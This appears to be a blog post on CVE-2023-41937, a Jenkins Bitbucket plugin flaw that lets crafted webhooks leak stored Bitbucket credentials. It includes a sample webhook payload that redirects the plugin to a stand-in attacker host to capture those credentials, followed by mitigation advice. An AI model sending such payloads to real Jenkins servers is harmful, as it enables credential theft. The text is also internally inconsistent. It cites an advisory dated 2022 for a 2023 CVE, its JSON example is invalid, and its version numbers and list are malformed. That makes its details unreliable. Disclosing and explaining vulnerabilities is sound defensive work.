In this long-read post, we will discuss a critical vulnerability (CVE-2023-41937) affecting Jenkins Bitbucket Push and Pull Request Plugin versions 2.4. through 2.8.3 (both inclusive). This vulnerability allows attackers to capture the Bitbucket credentials stored in Jenkins by sending a crafted webhook payload. We'll cover the exploit details, share code snippets, and provide references for further reading.
Introduction
Jenkins is an open-source continuous integration and continuous delivery (CI/CD) server that automates building, testing, and deploying software projects. This widely-used tool has numerous plugins available, including the Bitbucket Push and Pull Request Plugin.
The Bitbucket Push and Pull Request Plugin enables Jenkins to integrate with the Bitbucket platform for code management, providing support for both push notifications and pull requests. Recently, a security vulnerability was discovered in this plugin, which we will discuss below.
The Vulnerability: CVE-2023-41937
The vulnerability in question, CVE-2023-41937, allows attackers to steal Bitbucket credentials stored in Jenkins by exploiting the trust placed in webhook payload values, including certain URLs. The plugin uses these configured Bitbucket credentials to connect to URLs provided by the payload, making it easy for a malicious actor to craft a payload that leads to credential compromise.
To exploit this vulnerability, an attacker would first need to create a malicious webhook payload. Here's an example of a potential payload:
{
"repository": {
"links": {
"html": {
"href": "https://malicious.example.com/capture_credentials";
}
}
}
}
In this example, the attacker has replaced the legitimate repository URL with one belonging to the malicious server that will capture the Bitbucket credentials.
Next, the attacker would send this payload to the Jenkins server. Upon receiving the payload, the vulnerable plugin uses the given URL to communicate with the repository, unwittingly sending the Bitbucket credentials to the attacker.
Mitigation and Recommendations
To protect against this vulnerability, Jenkins administrators using the Bitbucket Push and Pull Request Plugin are strongly recommended to update to version 2.9. or later, which contains a critical fix for this issue.
For reference, here is a link to the official Jenkins security advisory for this vulnerability
- Jenkins Security Advisory 2022-03-29
Additionally, adopting the following security best practices can help lessen the potential impact of such vulnerabilities:
1. Use unique credentials for each service, limiting the potential damage if a single set of credentials is compromised.
Regularly review webhook payload sources to ensure they are trustworthy.
3. Implement strict access controls on Jenkins servers, ensuring that only authorized users can access and modify configuration settings and credentials.
Conclusion
CVE-2023-41937 is a serious vulnerability that allows attackers to steal Bitbucket credentials stored in Jenkins through a crafted webhook payload. Administrators should immediately update their Bitbucket Push and Pull Request Plugin to version 2.9. or later and follow the security best practices outlined in this post.
Stay vigilant and keep your CI/CD pipelines secure from such threats!
Timeline
Published on: 09/06/2023 13:15:00 UTC
Last modified on: 09/11/2023 17:53:00 UTC